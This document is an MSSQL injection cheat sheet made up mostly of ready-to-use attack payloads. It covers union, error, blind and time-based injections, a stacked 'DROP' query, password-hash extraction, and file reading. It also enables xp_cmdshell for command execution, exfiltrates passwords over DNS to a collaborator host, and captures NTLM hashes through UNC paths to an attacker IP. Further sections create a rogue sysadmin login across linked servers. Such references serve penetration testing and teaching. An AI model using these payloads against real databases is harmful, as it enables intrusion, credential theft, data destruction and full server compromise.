MSSQL Injection

Summary

1. MSSQL Injection
    1. Summary
    2. MSSQL Comments
    3. MSSQL User
    4. MSSQL version
    5. MSSQL Hostname
    6. MSSQL Database name
    7. MSSQL List databases
    8. MSSQL List columns
    9. MSSQL List tables
    10. MSSQL Extract user/password
    11. MSSQL Union Based
    12. MSSQL Error based
    13. MSSQL Blind based
    14. MSSQL Time based
    15. MSSQL Stacked Query
    16. MSSQL Read file
    17. MSSQL Command execution
    18. MSSQL Out of band
        1. MSSQL DNS exfiltration
        2. MSSQL UNC Path
    19. MSSQL Make user DBA (DB admin)
    20. MSSQL Trusted Links
    21. List permissions
    22. References

MSSQL Comments

```
-- comment goes here
/* comment goes here */
```

MSSQL User

```
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
```

MSSQL version

```
SELECT @@version
```

MSSQL Hostname

```
SELECT HOST_NAME()
SELECT @@hostname;
```

MSSQL Database name

```
SELECT DB_NAME()
```

MSSQL List databases

```
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb   (Only works in MSSQL 2017+)
```

MSSQL List columns

```
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’;
— list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
```

MSSQL List tables

```
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’;
— list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
```

MSSQL Extract user/password

```
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to
convert to hex to return hashes in MSSQL error message / some version of query
analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from
master.sys.sql_logins
```

MSSQL Union Based

```
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =
'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT  UserId, UserName from Users
```

MSSQL Error based

```
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '
```

MSSQL Blind based

```
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
```

```
varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```

MSSQL Time based

```
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'     comment:   --
```

MSSQL Stacked Query

Use a semi-colon ";" to add another query

```
ProductID=1; DROP members--
```

MSSQL Read file

Permissions: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.

```
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB)
R(x)),null,null
```

MSSQL Command execution

```
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

```
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```

To interact with the MSSQL instance.

```
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
```

Execute Python script

> Executed by a different user than the one using xp_cmdshell to execute commands

```
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script =
N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script =
N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script =
N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```

MSSQL Out of band

MSSQL DNS exfiltration

Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1

```
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass
from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from
users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where
id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
```

MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.

```
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```

```
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
```

```
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
```

MSSQL Make user DBA (DB admin)

```
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```

MSSQL Trusted Links

> The links between databases work even across forest trusts.

```
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to
obtain a meterpreter sessio
```

Manual exploitation

```
-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select
@@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT
"DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
"DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```

List permissions

Listing effective permissions of current user on the server.

```
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```

Listing effective permissions of current user on the database.

```
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
```

Listing effective permissions of current user on a view.

```
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY
subentity_name, permission_name;
```

Check if current user is a member of the specified server role.

```
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin,
securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
```

References

- Pentest Monkey - mssql-sql-injection-cheat-sheet
- Error Based - SQL Injection
- MSSQL Trusted Links - HackTricks.xyz
- SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013
- DAFT: Database Audit Framework & Toolkit - NetSPI
- SQL Server UNC Path Injection Cheatsheet - nullbind
- Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009
- Microsoft - sys.fn_my_permissions (Transact-SQL)
- Microsoft - IS_SRVROLEMEMBER (Transact-SQL)